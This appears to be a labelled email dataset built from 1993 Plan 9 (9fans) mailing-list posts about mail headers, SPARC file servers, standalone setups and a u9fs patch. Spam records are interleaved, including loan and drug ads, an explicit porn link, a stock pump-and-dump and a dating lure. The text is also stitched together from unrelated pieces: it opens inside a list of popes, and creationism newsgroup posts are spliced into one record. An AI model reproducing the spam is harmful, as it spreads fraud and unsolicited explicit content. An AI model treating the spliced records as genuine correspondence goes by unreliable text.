1415 (206) Alexander V, 26 June, 1409-3 May, 1410 (207) John XXIII, 17 May, 1410-29 May, 1415 (208) Martin V, 11 Nov., 1417-20 Feb., 1431 Clement VIII, 1424-29 Benedict XI V, 1424 (209) Eugene IV, 3 March, 1431-23 Feb., 1447 Felix V, 1439-49 (210) Nicholas V, 6 March, 1447-24 March, 1455 (211) Callistus III, 8 Apr., 1455-6 Aug., 1458 (212) Pius II, 19 Aug., 1458-15 Aug., 1464 (213) Paul II, 31 Aug., 1464-26 July, 1471 (214) Sixtus IV, 9 Aug., 1471-12 Aug., 1484 (215) Innocent VIII, 29 Aug., 1484-25 July, 1492 (216) Alexander VI, 11 Aug., 1492-18 Aug., 1503 (217) Pius III, 22 Sept.-18 Oct., 1503 (218) Julius II, 1 Nov., 1503-21 Feb., 1513 (219) Leo X, 11 March, 1513-1 Dec., 1521 (220) Adrian VI, 9 Jan., 1522-14 Sept., 1523 (221) Clement VII, 19 Nov., 1523-25 Sept., 1534 (222) Paul III, 13 Oct., 1534-10 Nov., 1549 (223) Julius III, 8 Feb., 1550-23 March, 1555 (224) Marcellus II, 9-30 Apr., 1555 (225) Paul IV, 23 May, 1555-18 Aug. 1559 (226) Pius IV, 25 Dec., 1559-9 Dec., i565 (227) St. Pius V, 7 Jan., 1566-1 May, 1572 (228) Gregory XIII, 13 May, 1572-10 Apr., 1585 (229) Sixtus V, 24 Apr., 1585-27 Aug., 1590 (230) Urban VII, 15-27 Sept., 1590 (231) Gregory XIV, 5 Dec., 1590-15 Oct., 1591 (232) Innocent IX, 29 Oct.-30 Dec., 1591 (233) Clement VIII, 30 Jan., 1592-5 March, 1605 (234) Leo XI, 1-27 Apr., 1605 (235) Paul V, 16 May, 1605-28 Jan., 1621 (236) Gregory XV, 9 Feb., 1621-8 July, 1623 (237) Urban VIII, 6 Aug., 1623-29 July, 1644 (238) Innocent X, 15 Sept., 1644-7 Jan., 1655 (239) Alexander VII, 7 Apr., 1655-22 May, 1667 (240) Clement IX, 20 June, 1667-9 Dec., 1669 (241) Clement X, 29 Apr., 1670-22 July, 1676 (242) Innocent XI, 21 Sept., 1676-11 Aug., 1689 (243) Alexander VIII, 6 Oct., 1689-1 Feb., 1691 (244) Innocent XII, 12 July, 1691-27 Sept., 1700 (245) Clement XI, 23 Nov., 1700-19 March, 1721 (246) Innocent XIII, 8 May, 1721-7 March, 1724 (247) Benedict XIII 29 May, 1724-21 Feb., 1730 (248) Clement XII, i2 July, 1730-6 Feb., 1740 (249) Benedict XIV, 17 Aug., 1740-3 May, 1758 (250) Clement XIII, 6 July, 1758-2 Feb., 1769 (251) Clement XIV, 19 May, 1769-22 Sept., 1774 (252) Pius VI, 15 Feb., 1775-29 Aug., 1799 (253) Pius VII, 14 March, 1800-20 Aug., 1823 (254) Leo XII, 28 Sept., 1823-10 Feb., 1829 (255) Pius VIII, 31 March, 1829-30 Nov., 1830 (256) Gregory XVI, 2 Feb., 1831-1 June, 1846 (257) Pius IX, 16 June, 1846-7 Feb., 1878 (258) Leo XIII, 20 Feb., 1878-20 July, 1903 (259) St. Pius X, 4 Aug The rest to date: Benedict XV Pius XI Pius XII John XXIII Paul VI John Paul I John Paul II ",0,0 Andrew DY Cantor ,constance@groucho.cse.psu.edu,"Wed, 25 Aug 1993 11:23:32 +0300",we have what you need,"We WILL lend you the money you need We have special arrangements with dozens of top lenders. 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",0,0 forsyth@minster.york.ac.uk,9fans@cse.psu.edu,"Thu, 16 Sep 1993 06:04:32 -0400",optical storage,"i've been experimenting with the plan 9 file server's dump system using the pseudo-worm on some scsi discs. it's invaluable (and good for demonstrations). i'd like to know how much it would cost to upgrade to provide file service on optical disc. the users currently have about 2 to 3 Gb of data. which optical drives (especially jukeboxes) have people tried with plan 9, and how much do they cost? ideally, i'd like one that stores more than 1Gb per platter and 11Gb per jukebox, to allow for expansion, but i'd be interested in any and all answers! ",0,0 Fulk Toppin ,fred@groucho.cse.psu.edu,"Fri, 24 Sep 1993 19:49:46 -0700",Re: CotALlS news,"Hi, A V X C V L P m I a I A e r b A n A L v o i G a L I i z e R x I U t a n A S M ra c http://www.onoorls.com began to sing, or croak, keeping time with the flap of their flat feet on the stone, and shaking their prisoners as well. Clap! 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Is there a way to copy files from the CD to the 386 (using mkfs ...) without having a Plan 9 fileserver ? regards Thomas ********************************************************************** Thomas Nau (Thomas.Nau@medizin.uni-ulm.de, nau@medizin.uni-ulm.de) Departement of Anaesthesia, University of Ulm, Germany think about 42 and DONT PANIC ********************************************************************** ",0,0 Salathiel Oliver ,sidney@groucho.cse.psu.edu,"Tue, 19 Oct 1993 22:12:49 -0700",Re: your VtAGkRA,"Hi C V V X L P A I I A a e r m A A L n v o b L G I a i z i I R U x t a e S A M ra c n http://www.jesverlitions.com they chose out their very quickest runners with the sharpest ears and eyes. These ran forward, as swift as weasels in the dark, and with hardly any more noise than bats. That is why neither Bilbo, nor the dwarves, nor even Gandalf heard them coming. Nor did they see them. But they were seen by the goblins that ran silently up behind, for Gandalf was letting his wand give out a faint light to help the dwarves as they ",1,1 Jerry Kent Rayome ,plan9-fans@cse.psu.edu,"Wed, 20 Oct 1993 12:43:40 -0400","Who is this ""none"" character?","Greetings! We are running plan9 on both pc and sparc machines. We also have a cpu server (sparc) up and running. When the cpu server is running, a ""who"" on the file server, will show that both ""adm"" and ""bootes"" are running. Fine. Frequently, this same inquirery will show ""none"" and ""adm""! When this happens, the distributed system is *very* sluggish. We have to reboot the cpu server to get rid of ""none"". What is happening? What is the significance of ""none"". Why does it take over bootes' place? We believe that an error from the an ethernet card may cause this. What is the reason for having ""none"" run at all? Thanks in advance for any info. ___________________________________________________________________ Jerry Rayome: Struggling graduate student in Computer Science. * *""Everything is possible, unless the file server crashes. Then, * nothing is possible!"" - Myself ___________________________________________________________________ ",0,0 Mason Hare ,kristen@groucho.cse.psu.edu,"Thu, 21 Oct 1993 00:26:36 -0700",Dad fucking radiant daughter!," hardcorre family bangingg! http://biggameteam.info/bxfirstdaddy.htm ",1,1 Scott Schwartz ,9fans@cse.psu.edu,"Wed, 20 Oct 1993 18:45:53 -0400",,"------- Forwarded Message Return-Path: psuvax1.cse.psu.edu!medizin.uni-ulm.de!Thomas.Nau Received: from psuvax1.cse.psu.edu ([130.203.2.4]) by groucho.cse.psu.edu with SMTP id <2516>; Wed, 20 Oct 1993 02:59:40 -0400 Received: from struppi.medizin.uni-ulm.de ([134.60.79.2]) by psuvax1.cse.psu.edu with SMTP id <291785>; Wed, 20 Oct 1993 02:59:03 -0400 Received: by struppi.medizin.uni-ulm.de id AA04735 (5.65+/IDA-1.4.4); Wed, 20 Oct 93 07:58:42 +0100 From: Thomas Nau Message-Id: <9310200658.AA04735@struppi.medizin.uni-ulm.de> Subject: access to cdrom from PC To: plan9-fans-request@cse.psu.edu Date: Wed, 20 Oct 1993 02:58:42 -0400 Mailer: Elm [revision: 70.85] Hi, I would like to install Plan 9 from a cdrom mounted on our UNIX host. The problem is that every filename. Is there a way to copy files from the CD to the 386 (using mkfs ...) without having a Plan 9 fileserver ? regards Thomas ********************************************************************** Thomas Nau (Thomas.Nau@medizin.uni-ulm.de, nau@medizin.uni-ulm.de) Departement of Anaesthesia, University of Ulm, Germany think about 42 and DONT PANIC ********************************************************************** ------- End of Forwarded Message",0,0 philw@research.att.com,plan9-fans-owner@cse.psu.edu,"Thu, 21 Oct 1993 13:39:42 -0400",,">We are running plan9 on both pc and sparc machines. We also have >a cpu server (sparc) up and running. When the cpu server is running, >a ""who"" on the file server, will show that both ""adm"" and ""bootes"" are >running. Fine. Frequently, this same inquirery will show >""none"" and ""adm""! When this happens, the distributed system is *very* >sluggish. We have to reboot the cpu server to get rid of ""none"". Next time it happens mail me a stack strace of the process by using db. ",0,0 Scott Schwartz ,9fans@cse.psu.edu,"Thu, 21 Oct 1993 18:31:02 -0400",wayward mail,"Lots of messages intended for 9fans seem to be coming to 9fans-request. Does upas reply to the ""From "" envelope instead of the ""From: "" header for some reason? ------- Forwarded Message Return-Path: psuvax1.cse.psu.edu!research.att.com!philw Received: from psuvax1.cse.psu.edu ([130.203.2.4]) by groucho.cse.psu.edu with SMTP id <2539>; Thu, 21 Oct 1993 17:22:37 -0400 Received: from research.att.com ([192.20.225.3]) by psuvax1.cse.psu.edu with SMTP id <294339>; Thu, 21 Oct 1993 17:22:29 -0400 From: philw@research.att.com Date: Thu, 21 Oct 1993 13:39:42 -0400 To: plan9-fans-owner@cse.psu.edu Message-Id: <93Oct21.172229edt.294339@psuvax1.cse.psu.edu> >We are running plan9 on both pc and sparc machines. We also have >a cpu server (sparc) up and running. When the cpu server is running, >a ""who"" on the file server, will show that both ""adm"" and ""bootes"" are >running. Fine. Frequently, this same inquirery will show >""none"" and ""adm""! When this happens, the distributed system is *very* >sluggish. We have to reboot the cpu server to get rid of ""none"". Next time it happens mail me a stack strace of the process by using db. ------- End of Forwarded Message",0,0 rob@research.att.com,9fans@cse.psu.edu,"Thu, 21 Oct 1993 19:39:18 -0400",,"not quite... upas uses the SMTP information, not the message contents, as i think it should. -rob ",0,0 Scott Schwartz ,rob@research.att.com,"Thu, 21 Oct 1993 20:06:15 -0400",," | not quite... upas uses the SMTP information, not the message contents, | as i think it should. Well, ok, but the local postmasters tell me that the internet conventions are otherwise. ",0,0 Neil Weisenfeld ,Scott Schwartz ,"Thu, 21 Oct 1993 22:45:45 -0400",,"In message <93Oct21.200627edt.2516@groucho.cse.psu.edu>, Scott Schwartz writes: > > | not quite... upas uses the SMTP information, not the message contents, > | as i think it should. > > Well, ok, but the local postmasters tell me that the internet > conventions are otherwise. I don't have RFC821 in front of me, but (unless I'm confused) it indicates that the SMTP envelope address may be different than the sender's address (and the sender's address is where one would presumably want a reply to go). The example that the RFC cites is a special mailbox where errors are to be sent could be used as the envelope address (e.g. the mailing list administrator's address). I think that your sysadmins are right: the UA should reply to the From: address stored within the message. I think that RFC821 specifies other headers that can be used, too, such as Reply-To:. Regards, Neil",0,0 Scott Schwartz ,Neil Weisenfeld ,"Thu, 21 Oct 1993 23:05:29 -0400",," | The example that the RFC cites is a special mailbox where errors are | to be sent could be used as the envelope address (e.g. the mailing | list administrator's address). That's exactly what we do. | I think that your sysadmins are right: the UA should reply to the From: | address stored within the message. I think that RFC821 specifies other | headers that can be used, too, such as Reply-To:. RFC 822 says that. See sections 4.3.1 and 4.4.4. ",0,0 David Hogan ,9fans@cse.psu.edu,"Thu, 21 Oct 1993 23:12:11 -0400",Re: wayward mail,"> From: Scott Schwartz > > | not quite... upas uses the SMTP information, not the message contents, > | as i think it should. > > Well, ok, but the local postmasters tell me that the internet > conventions are otherwise. Indeed they are. On the internet, all mail messages are supposed to be formatted according to rfc-822, with the headers indicating who the actual sender and recipient(s) are. The SMTP information (aka envelope) is part of the delivery mechanism, usually derived from those headers, but not necessarily equivalent to them. In particular, when a mailing list expander receives some mail, say to 9fans@cse.psu.edu, it sends out an essentially identical piece of mail (same rfc-822 From and To headers) but with a different SMTP envelope: the envelope sender becomes an alias for the maintainer of the list (9fans-request@cse.psu.edu), and the recipients are the members of the list. This is good, because bounces go back to the list maintainer (who is most likely to be able to do something about them) but replies go to the list and/or the original sender, depending on the behaviour of the user agent (and the user driving it). The difference between the rfc-822 headers and the envelope is also used to ensure that a bounce doesn't generate another bounce, which could lead to loops, by having the mail software use a null envelope sender when it sends the bounce message. I understand that at Bell Labs the mail conventions are quite different (and in fact much simpler). The contents of a mail message are unformatted (ie no rfc-822 or anything) and are deposited in your mailbox with a single From line prepended, which will be the SMTP envelope sender if the mail arrived via SMTP. The mail user agent (upas/edmail) replies to the address in the From line (it doesn't have much choice :-). Unfortunately, these two sets of mail conventions aren't always compatible, and in particular they break down when internet mailing lists are involved. I have to say that I prefer rfc-822, since (amongst other things) it lets you know who the _other_ recipients of the message were (assuming the sender wanted you to know this :-)",0,0 rob@research.att.com,9fans@cse.psu.edu,"Thu, 21 Oct 1993 23:30:27 -0400",,"all right all right all right! i should know better than to say anything about the contents of RFC's without checking first, but i was trying to avoid bothering my local mail expert. so much for good intentions. i will consider changing the local mail programs (there are two here) to reply to Reply-To if it exists, but i won't enjoy doing it. -rob ",0,0 forsyth@minster.york.ac.uk,9fans@cse.psu.edu,"Fri, 22 Oct 1993 08:41:05 -0400",From addresses and upas,"there might be a compromise. we went through this here some time ago with an implementation of the smtp part of upas as mangled by System V.4 and somewhat unmangled by me. it seems to be sufficient to have the smtpd pick the right name to put in the Unix `From ' header. since it has already cracked the header and knows RFC822, it's a fairly simple change. it takes the `From ' address from the first of Reply-to:, From:, Sender: and SMTP FROM:. errors go to the SMTP FROM:. (there should never be a Sender: without a From: but we get junk mail from some machines.) the Reply command in the mail reader just uses the `From ' address, and needn't mess with the Wilt . (the Stilt) crud unless it wants to. i didn't understand the recent discussion until i realised that my From lines were being built as described by our Unix machine before being sent to me on Plan 9, and that's why my replies were going to the right address. it also makes the seemail face list more interesting. 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If anyone is interested in getting their book list it can be had by writing at : Institute of Creation Research PO Box 2667 El Cajon, CA 92021 (619) 448-0900 Also there is another good book list out there and the address for it is: Master Books PO Box 1606 El Cajon, CA 92022 IF there is anyone out there that goes to ICR I would interested in talking with you because I plan on going to grad. school at ICR in about 2 years getting a MMasters in Science ED or Geology..i'm not sure yet Thanks and God Bless -Mark [Thanks. I'll add this to the list. --clh] Path: christian Newsgroups: soc.religion.christian From: mpaul@unlinfo.unl.edu (marxhausen paul) Subject: Re: Creationism Organization: University of Nebraska--Lincoln Approved: christian@aramis.rutgers.edu Here's the book I said was a ""must-read"" for anyone interested in the creationist:evolutionist debate: Science Held Hostage: What's Wrong with Creation Science AND Evolutionism Howard J. Van Till/Davis A. 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Has anyone tried bringing it up on an IPC or SLC or something like that? -- Scott ",0,0 Jim Davis ,Scott Schwartz ,"Mon, 01 Nov 1993 14:36:04 -0500",Re: sparc fileservers,"On Mon, 1 Nov 1993, Scott Schwartz wrote: > The installation instructions mention that the fileserver code probably > won't work on anything other than a sparcstation 2. Has anyone tried > bringing it up on an IPC or SLC or something like that? Tried it on my IPC, but it just hung after the download stage. -- Jim Davis | ""So here I am, not being entertained."" jdavis@cs.arizona.edu | -- Calvin ",0,0 Arnold Robbins ,9fans@cse.psu.edu,"Mon, 01 Nov 1993 14:33:26 -0500",Re: sparc fileservers,"Heck, can any of the plan 9 stuff run on the newer sparcs like the LX, or the big MPs like the 690 or sparc center 1000 and 2000? (Junk Solaris for a real OS... :-) Arnold ",0,0 """Dean R. E. Long"" ","9fans@cse.psu.edu, schwartz@groucho.cse.psu.edu","Mon, 01 Nov 1993 17:06:51 -0500",Re: sparc fileservers,"> Greetings, > > The installation instructions mention that the fileserver code probably > won't work on anything other than a sparcstation 2. Has anyone tried > bringing it up on an IPC or SLC or something like that? > > -- Scott Yes, it should work on an IPC or SLC. We currently use an IPC as the fileserver here. You need the patches that were sent out a while back, however, for it to work. dl ",0,0 Chris Landers ,gena@groucho.cse.psu.edu,"Tue, 02 Nov 1993 08:13:37 +0001",RE: Did you see this,"New Release This one is from the Oil Sector. We expect great things. CTXE - CANTEX ENERGY CORP PRICE: 0.79 5 Day expected 2.12 Todays gain 0.16 (25.40%) Just as we promised. Starting to climb up .16 already today. Tommorow should be even better! A very large marketing campaign has started today and will run thru the weekend. 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This 2D Swath design is licensed by Providence Technologies, which is a unique application that has proved to be effective in the Val Verde Basin where our Prospect is situated. Upon completion of the first swath and data processing it will give a good picture of the structure, and completion of the second swath will give an idea of closure. Cantex Energy Corp. is an independent, managed risk, oil and gas exploration, development, and production company headquartered in San Antonio, Texas. The Company's additional focus is the optimal exploitation and development of approximately 1,200 acres known as the West Ant Hills Prospect located in Niobrara County, Wyoming. ",1,0 Scott Schwartz ,"""Dean R. E. Long"" ","Mon, 01 Nov 1993 17:56:23 -0500",Re: sparc fileservers ," | Yes, it should work on an IPC or SLC. We currently use an IPC as the | fileserver here. You need the patches that were sent out a while back, | however, for it to work. The catch, of course, is that one needs a working system in order to install the patches. :-) Thanks for the reply. ",0,0 Mike Haertel ,Scott Schwartz ,"Mon, 01 Nov 1993 18:27:46 -0500",Re: sparc fileservers ,">| Yes, it should work on an IPC or SLC. We currently use an IPC as the >| fileserver here. You need the patches that were sent out a while back, >| however, for it to work. > >The catch, of course, is that one needs a working system in order to >install the patches. :-) Not so. You need a working Plan 9 terminal, but not necessarily a working file server. You can boot the terminal kernel directly off the Plan 9 cdrom. Set up a unix based file server (using u9fs) on some machine with lots of disk. Mount the Unix system somewhere in the heirarchy (e.g., /n/kremvax is included as a possible mountpoint on the cdrom.) Copy the kernel sources to the Unix server. Modify them according to the patches. Compile, and build. In fact, we have Plan 9 running here at UO using only the Unix based file server, since right now there are no spare machines to dedicate a Plan 9 file server. Note that there were a few bugs in u9fs as originally distributed, but Rob sent some patches out around March or April for fixing them. ",0,0 Winston ,"fanny@groucho.cse.psu.edu, leanne@groucho.cse.psu.edu, ralph@groucho.cse.psu.edu, geneva@groucho.cse.psu.edu, norman@groucho.cse.psu.edu","Tue, 02 Nov 1993 02:25:01 +0400",hanging out with you,"Hi, Hope I am not writing to wrong address. I am nice, paretty looking girl. I am planning on visibting your town thisa month. Can we meet each otherb in person? Message mbe back at jutm@popmailme.com ",1,0 Scott Schwartz ,Mike Haertel ,"Mon, 01 Nov 1993 23:02:58 -0500",Re: sparc fileservers ," | In fact, we have Plan 9 running here at UO using only the Unix | based file server, since right now there are no spare machines | to dedicate a Plan 9 file server. That's more or less our situation as well. In a previous message you said that you were running with hacked sources and lots of things didn't work. I'm interested in hearing more about what you've done and how things are working out these days. ",0,0 quanstro@epsilon.eecs.nwu.edu,9fans@cse.psu.edu,"Mon, 01 Nov 1993 23:26:08 -0500",standalone plan9,"i know that rob et. al. were spotted at a recent usenix conference sporting [34]86 laptops (or so i've heard). so i'd like to know o is this included on the cd? o is anybody using this o this implies that the laptop is running the fileserver, cpuserver and terminal software. is this possible to pull off on a sun or sgi? erik ",0,0 David Hogan ,9fans@cse.psu.edu,"Mon, 01 Nov 1993 23:32:30 -0500",Re: sparc fileservers,"> From: Arnold Robbins > To: 9fans@cse.psu.edu > > Heck, can any of the plan 9 stuff run on the newer sparcs like the LX, > or the big MPs like the 690 or sparc center 1000 and 2000? (Junk Solaris > for a real OS... :-) Not without rewriting mmu.c. I understand that the mmu in the newer sparcs is based on the Sparc Reference mmu, whereas the mmu in the older sparcs is a lot closer to the Sun 3 mmu. I've also heard that the dma controller is different.",0,0 mike@majestix.cs.uoregon.edu,quanstro@epsilon.eecs.nwu.edu,"Tue, 02 Nov 1993 00:51:19 -0500",Re: standalone plan9 ,">i know that rob et. al. were spotted at a recent usenix >conference sporting [34]86 laptops (or so i've heard). >so i'd like to know >o is this included on the cd? Yes. >o is anybody using this Yes; I have it running on a 486 box. >o this implies that the laptop is running the > fileserver, cpuserver and terminal software. No. It is just running the terminal software. The ""file server"" in this case is just an ordinary user level process that speaks 9P to the kernel and maintains a file system on a raw disk partition. It's slow, and according to the documentation, susceptible to crashes, although I haven't had any (yet). There is no need for a cpu server to run Plan 9, unless you want to run daemons that accept calls from the outside world, for instance for mail delivery or remote logins. There is no real difference between a terminal and a cpu server; a cpu server is essentially the same kernel with a different startup script that starts various daemons. The file server is a radically different kernel and cannot coexist on the same machine with the terminal or cpu kernels. However, you don't need to use the standard file server. >Is this > possible to pull off on a sun or sgi? Of course. However, it is not supported in the system as distributed; you have to do a bit of work... ",0,0 gary@moria.cs.su.OZ.AU,9fans-owner@cse.psu.edu,"Tue, 02 Nov 1993 06:33:05 -0500",Re: standalone plan9,"I am using a desktop PC as a standalone plan 9 machine a lot of the time now. The file system it uses is kfs (ken's file system) which I think is on the distribution. It's pretty neat, with 486/66, 8M I get a reasonably useful system for software dev., and I use SLIP/carrying floppies to stay consistent with our usual file server. (I'm writing this from home, btw). I see no reason why it wouldn't be possible to do similar with a sun or sgi, it's just that for portables, the x86 machines are cheaper, more likely to be at home. Cheers, Gary. ",0,0 bob@cs.su.oz.au,9fans@cse.psu.edu,"Tue, 02 Nov 1993 04:14:18 -0500",standalone plan9,"From: quanstro@epsilon.eecs.nwu.edu (Erik Quanstrom) Date: Mon, 1 Nov 1993 23:26:08 -0500 To: <9fans@cse.psu.edu> Subject: standalone plan9 i know that rob et. al. were spotted at a recent usenix conference sporting [34]86 laptops (or so i've heard). so i'd like to know o is this included on the cd? yes o is anybody using this yes o this implies that the laptop is running the fileserver, cpuserver and terminal software. is this possible to pull off on a sun or sgi? yes The cpu & terminal server versions of Plan9 are essentially the same. You can have a local disk on your terminal and run kfs to get local files. We have done this with a Sun 3/50 with 70meg disk. I have a Compaq LTE/25E laptop. This is has a full 486 (low power version), 12meg memory, 209meg disk, ethernet, serial, parallel and PS/2 mouse port. It also has an active matrix mono screen that is excellent - it added $AUS2k to the price :-( I chose the machine after a long evaluation of the contenders and the choice was based mainly on the screen quality. I have a small DOS partition on the hard disk and the rest is for plan 9 using kfs for the files. It was learning experience to configure the system that I recommend - not difficult but lots of ""ah ha!"". I now understand the system much better. I carry the machine in to work, plug into the ethernet and then can mount our main file server and cpu to our main cpu server. I attended INET93 and Interop in San Francisco a month or so ago and was able to plug into the ethernet in the terminal room and use it *exactly* as if I was in my office at home in Australia: mounting the file server, running cpu etc! Bob",0,0 gary@moria.cs.su.OZ.AU,9fans@cse.psu.edu,"Tue, 02 Nov 1993 06:41:23 -0500",Re: standalone plan9," I am using a desktop PC as a standalone plan 9 machine a lot of the time now. The file system it uses is kfs (ken's file system) which I think is on the distribution. It's pretty neat, with 486/66, 8M I get a reasonably useful system for software dev., and I use SLIP/carrying floppies to stay consistent with our usual file server. (I'm writing this from home, btw). I see no reason why it wouldn't be possible to do similar with a sun or sgi, it's just that for portables, the x86 machines are cheaper, more likely to be at home. Cheers, Gary. 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",0,0 Stefan Axelsson ,9fans@cse.psu.edu,"Tue, 02 Nov 1993 19:36:36 -0500",Re: can't open nvram?,"Scott Schwartz writes: > > I've gotten as far as page 8 of the installation instructions, > running the terminal on a sparc SLC and the fileserver on a > sparc2, and I see the following: > > term% auth/wrkey > Password: > Confirm password: > auth/wrkey: can't open nvram > term% > > That sounds bad. Now what? > I had exactly the same problem, to the rescue came Dave Presotto (Thanks again Dave). The terminal doesn't ever read the nvram, you have to boot the cpu-server ""/sparc/9sscpu"" instead. This will give you some error messages, but you can ignore them. Then proceed as per the instructions. I could mail you the rest of the help we got from Dave Presotto, if you're interested. There were a few other problems as I remember it. Mainly dealing with authentication. Regards, -- Stefan Axelsson, Chalmers University of Technology, d7stfax@dtek.chalmers.se Sweden ",0,0 mike@majestix.cs.uoregon.edu,Scott Schwartz ,"Wed, 03 Nov 1993 02:28:08 -0500",Re: sparc fileservers ,">| In fact, we have Plan 9 running here at UO using only the Unix >| based file server, since right now there are no spare machines >| to dedicate a Plan 9 file server. > >That's more or less our situation as well. In a previous message you >said that you were running with hacked sources and lots of things >didn't work. I'm interested in hearing more about what you've done and >how things are working out these days. Well, since several people have asked, I've included our diffs (with explanations) to u9fs at the end of this message. Note that they are not quite the same as the Bell Labs diffs that Rob mailed out awhile back--I had already discovered and fixed some of the problems independently. Most things I've tried seem to work Ok; the exception is the postscript interpreter psi, which crashes for me on both the Sparc and the 68020, in apparently the same way. I have not put any deep debugging effort into it. Also, psi worked fine when I tried it on a 486 using kfs. So I suspect psi may be interacting with u9fs in some strange way. As for how I originally got Plan 9 up and working on a sparc without a fileserver and without bootp, roughly: 0. compiled u9fs on some convenient unix box; install in inetd.conf. contrary to the README in the u9fs source directory, plan 9 expects to find u9fs on port 564 (see /lib/ndb/local on the cdrom). 1. boot plan9 off the cdrom i actually put the sparc/9sscd kernel in the SunOS root directory and used ""b sd()9sscd"". 2. manually configure the network with ipconfig 3. use ""srv tcp!1.2.3.4"" and then ""mount -c /srv/tcp!1.2.3.4 /n/kremvax"" to get the Unix system mounted on /n/kremvax. used /n/kremvax as a scratch area to build a modified kernel. 4. the kernel sources are in /sys/src/9. i looked at /sys/src/9/boot/ip.c, which uses bootp to get various information, and used it as a prototype for a new boot method which asks the user to manually enter all that information. then, i used the ""/sys/src/9/ss/sscd"" configuration as a prototype to create a new ""ssuo"" configuration, and built my modified kernel with ""mk 'CONF=ssuo'"" in the ss/ directory. Disclaimer: as with all free advice, this is worth what it cost. These things worked for me, but I didn't keep notes and so this is all from 6-month-old memory. Similar disclaimer applies to the u9fs diffs below. Here are our patches for u9fs; they do the following things: * fix a bug in the handling of seek offsets * set the qid.version field from the stat.st_mtime field, rathern than 0. this makes executable caching work correctly. * hacks to increase the descriptor table size limit under SunOS (#define DTABLE) and Dynix/PTX (#define SETDTABLESIZE). this is important since plan 9 keeps open file descriptors to recently used executables, and without this change u9fs quickly runs out of descriptors. * a hack to make u9fs work correctly with the Dynix/PTX inetd, and perhaps other System V.3 implementations as well (#define TIRDWR). * a hack to make Plan 9 systems get the right system date when booting. Plan 9 gets the system date from the access time of ""/"". therefore, we read ""/"" before accepting any requests from the remote Plan 9. * implement the ORCLOSE remove-on-close option used by Plan 9 programs that create temporary files. diff -rc2 dist/u9fs.c u9fs.c *** dist/u9fs.c Sat Mar 20 04:34:51 1993 --- u9fs.c Sun Apr 18 15:58:48 1993 *************** *** 8,11 **** --- 8,18 ---- #include ""pwd.h"" #include ""grp.h"" + #ifdef TIRDWR + #include + #endif + #ifdef DTABLE + #include + #include + #endif #define DBG(f) *************** *** 37,40 **** --- 44,48 ---- int fd; DIR *dir; + int tempf; }; *************** *** 132,135 **** --- 140,159 ---- main(int argc, char *argv[]) { + #ifdef TIRDWR + ioctl(0, I_PUSH, ""tirdwr""); + #endif + #ifdef SETDTABLESIZE + setdtablesize(256); + #endif + #if defined(DTABLE) && defined(RLIMIT_NOFILE) + { + struct rlimit rl; + getrlimit(RLIMIT_NOFILE, &rl); + rl.rlim_cur = rl.rlim_max; + if (rl.rlim_cur > 1024) + rl.rlim_cur = 1024; + setrlimit(RLIMIT_NOFILE, &rl); + } + #endif freopen(LOG, ""a"", stderr); setbuf(stderr, (void*)0); *************** *** 243,246 **** --- 267,281 ---- Pass *p; + /* + * The following hack will force Plan 9 to get the right + * system date when we are booting off a Unix server. + */ + { + DIR *dp; + dp = opendir(""/""); + readdir(dp); + closedir(dp); + } + err = 0; if(file0 == 0){ *************** *** 343,347 **** int fd; DIR *dir; ! int m, trunc; rf = rfilefid(); --- 378,382 ---- int fd; DIR *dir; ! int m, trunc, tempf; rf = rfilefid(); *************** *** 353,356 **** --- 388,392 ---- m = rhdr.mode & (16|3); trunc = m & 16; /* OTRUNC */ + tempf = rhdr.mode & 64; /* ORCLOSE */ switch(m){ case 0: *************** *** 402,405 **** --- 438,442 ---- rf->fd->dir = dir; rf->fd->offset = 0; + rf->fd->tempf = tempf; thdr.qid = f->qid; } *************** *** 411,415 **** File *f, *of; char *path, *err; ! int fd; int m; char name[NAMELEN]; --- 448,452 ---- File *f, *of; char *path, *err; ! int fd, tempf; int m; char name[NAMELEN]; *************** *** 421,424 **** --- 458,462 ---- path = bldpath(rf->file->path, rhdr.name, name); m = omode(rhdr.mode&3); + tempf = rhdr.mode & 64; /* ORCLOSE */ errno = 0; if(rhdr.perm & CHDIR){ *************** *** 479,482 **** --- 517,521 ---- rf->fd->dir = 0; rf->fd->offset = 0; + rf->fd->tempf = tempf; thdr.qid = f->qid; } *************** *** 535,539 **** strncpy(d.gid, id2name(gid, stbuf.st_gid), NAMELEN); d.qid.path = qid(&stbuf); ! d.qid.vers = 0; d.mode = (d.qid.path&CHDIR)|(stbuf.st_mode&0777); d.atime = stbuf.st_atime; --- 574,578 ---- strncpy(d.gid, id2name(gid, stbuf.st_gid), NAMELEN); d.qid.path = qid(&stbuf); ! d.qid.vers = stbuf.st_mtime; d.mode = (d.qid.path&CHDIR)|(stbuf.st_mode&0777); d.atime = stbuf.st_atime; *************** *** 546,552 **** }else{ errno = 0; ! if(rf->fd->offset != rhdr.offset) if(lseek(rf->fd->fd, rhdr.offset, 0) < 0) errjmp(sys_errlist[errno]); n = read(rf->fd->fd, rdata, rhdr.count); if(n < 0) --- 585,593 ---- }else{ errno = 0; ! if(rf->fd->offset != rhdr.offset) { if(lseek(rf->fd->fd, rhdr.offset, 0) < 0) errjmp(sys_errlist[errno]); + rf->fd->offset = rhdr.offset; + } n = read(rf->fd->fd, rdata, rhdr.count); if(n < 0) *************** *** 570,576 **** errjmp(Etoolarge); errno = 0; ! if(rf->fd->offset != rhdr.offset) if(lseek(rf->fd->fd, rhdr.offset, 0) < 0) errjmp(sys_errlist[errno]); n = write(rf->fd->fd, rhdr.data, rhdr.count); if(n < 0) --- 611,619 ---- errjmp(Etoolarge); errno = 0; ! if(rf->fd->offset != rhdr.offset) { if(lseek(rf->fd->fd, rhdr.offset, 0) < 0) errjmp(sys_errlist[errno]); + rf->fd->offset = rhdr.offset; + } n = write(rf->fd->fd, rhdr.data, rhdr.count); if(n < 0) *************** *** 688,691 **** --- 731,742 ---- if(fd->dir) closedir(fd->dir); + if (fd->tempf & 64) { /* ORCLOSE */ + if (f->qid.path & CHDIR) + ret = rmdir(f->path); + else + ret = unlink(f->path); + if (ret) + err = sys_errlist[errno]; + } free(fd); } *************** *** 760,764 **** } f->qid.path = qid(&stbuf); ! f->qid.vers = 0; f->stbuf = stbuf; return 0; --- 811,815 ---- } f->qid.path = qid(&stbuf); ! f->qid.vers = stbuf.st_mtime; f->stbuf = stbuf; return 0;",0,0 Mike Haertel ,9fans@cse.psu.edu,"Wed, 03 Nov 1993 13:26:16 -0500",SLIP,"has anybody implemented slip for Plan 9? ",0,0 Arnold Robbins ,9fans@cse.psu.edu,"Wed, 03 Nov 1993 13:45:32 -0500",Re: SLIP,"> Date: Wed, 3 Nov 1993 13:26:16 -0500 > 